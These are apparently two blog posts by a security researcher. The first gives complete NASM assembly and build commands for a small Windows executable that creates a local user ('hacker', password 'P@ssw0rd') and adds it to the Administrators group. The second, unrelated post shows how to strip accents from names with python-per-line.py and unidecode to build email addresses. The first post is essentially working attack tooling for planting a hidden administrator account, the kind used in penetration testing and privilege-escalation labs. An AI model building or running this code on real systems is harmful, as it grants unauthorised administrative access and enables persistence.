Didier Stevens

I wrote a tiny EXE program (1,5 KB) that creates an account and adds it to the local administrators group.

It’s written in 32-bit assembly code (it’s not shellcode), and needs to be assembled with nasm and then linked to a PE file.

The first 3 %define statements define the account name, password and local group.

; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
;   nasm -f win32 add-admin.asm
;   Microsoft linker:
;     link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
;       https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
;       /fixed -> no relocation section
;       /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
;       /filealign:256 -> smaller, but no valid exe
;   MinGW linker:
;     ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
;   2020/03/13
;   2020/03/14 refactor
;   2020/03/15 refactor

BITS 32

%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'

global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4

	struc USER_INFO_1
		.uName RESD 1
		.Password RESD 1
		.PasswordAge RESD 1
		.Privilege RESD 1
		.HomeDir RESD 1
		.Comment RESD 1
		.Flags RESD 1
		.ScriptPath RESD 1
	endstruc
	
	struc LOCALGROUP_MEMBERS_INFO_3
		.lgrmi3_domainandname RESD 1
	endstruc

	USER_PRIV_USER EQU 1
	UF_SCRIPT EQU 1

	section .text
_main:
	mov     ebp, esp
	sub     esp, 4
	
	; NetUserAdd(NULL, level=1, buffer, NULL)
	lea     eax, [ebp-4]
	push    eax
	push    UI1
	push    1
	push    0
	call    _NetUserAdd@16
	
	; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
	push    1
	push    LMI3
	push    3
	push    ADMINISTRATORS_UNICODE
	push    0
	call    _NetLocalGroupAddMembers@20
	
	; ExitProcess(0)
	push    0
	call    _ExitProcess@4

; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
;	section .data

UI1:
	istruc USER_INFO_1
		at USER_INFO_1.uName, dd USERNAME_UNICODE
		at USER_INFO_1.Password, dd PASSWORD_UNICODE
		at USER_INFO_1.PasswordAge, dd 0
		at USER_INFO_1.Privilege, dd USER_PRIV_USER
		at USER_INFO_1.HomeDir, dd 0
		at USER_INFO_1.Comment, dd 0
		at USER_INFO_1.Flags, dd UF_SCRIPT
		at USER_INFO_1.ScriptPath, dd 0
	iend

USERNAME_UNICODE:
	db      __utf16le__(USERNAME), 0, 0

PASSWORD_UNICODE:
	db      __utf16le__(PASSWORD), 0, 0

ADMINISTRATORS_UNICODE:
	db      __utf16le__(ADMINISTRATORS), 0, 0

LMI3:
	istruc LOCALGROUP_MEMBERS_INFO_3
		at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
	iend

In many languages, letters (basic glyphs) can have accents (diacritics).

Take the common French given name André. It is written with a letter e with an acute accent.

A colleague had to create a list of email addresses from a list of names (given name + surname). Some of the names had letters with accents: these accents had to be removed to keep the basic letter, in order to form a list of email addresses. For example, “andré” had to be converted to “andre”.

I found the Python module Unicode, and told my colleague he could use that module together with my python-per-line.py to generate his list. It turned out I had to make a change to my python-per-line.py tool first, so that it would handle Unicode input properly.

It works as follows. Take this Unicode text file:

Using unidecode method unidecode with python-per-line.py is done like this:

Remark that “é” has been converted to “e”.

Here is a list of names:

And here is the command to convert this list to email addresses:

c:\python37\python python-per-line.py –encoding utf-16 -e “import unidecode” “‘.’.join(unidecode.unidecode(line).lower().split(‘ ‘))+’@target.tld'” unicode-names.txt

Remark that personal names might be more complex than the simple case of “given name + surname”, and that the Python expression might have to be adapted accordingly.

python-per-line_V0_0_7.zip (https)
MD5: 1353108BE499E07745A409568940977F
SHA256: 0086B3780C768717072AC705A0FFEFFA5DD74565B36D4795813BF89E10F88240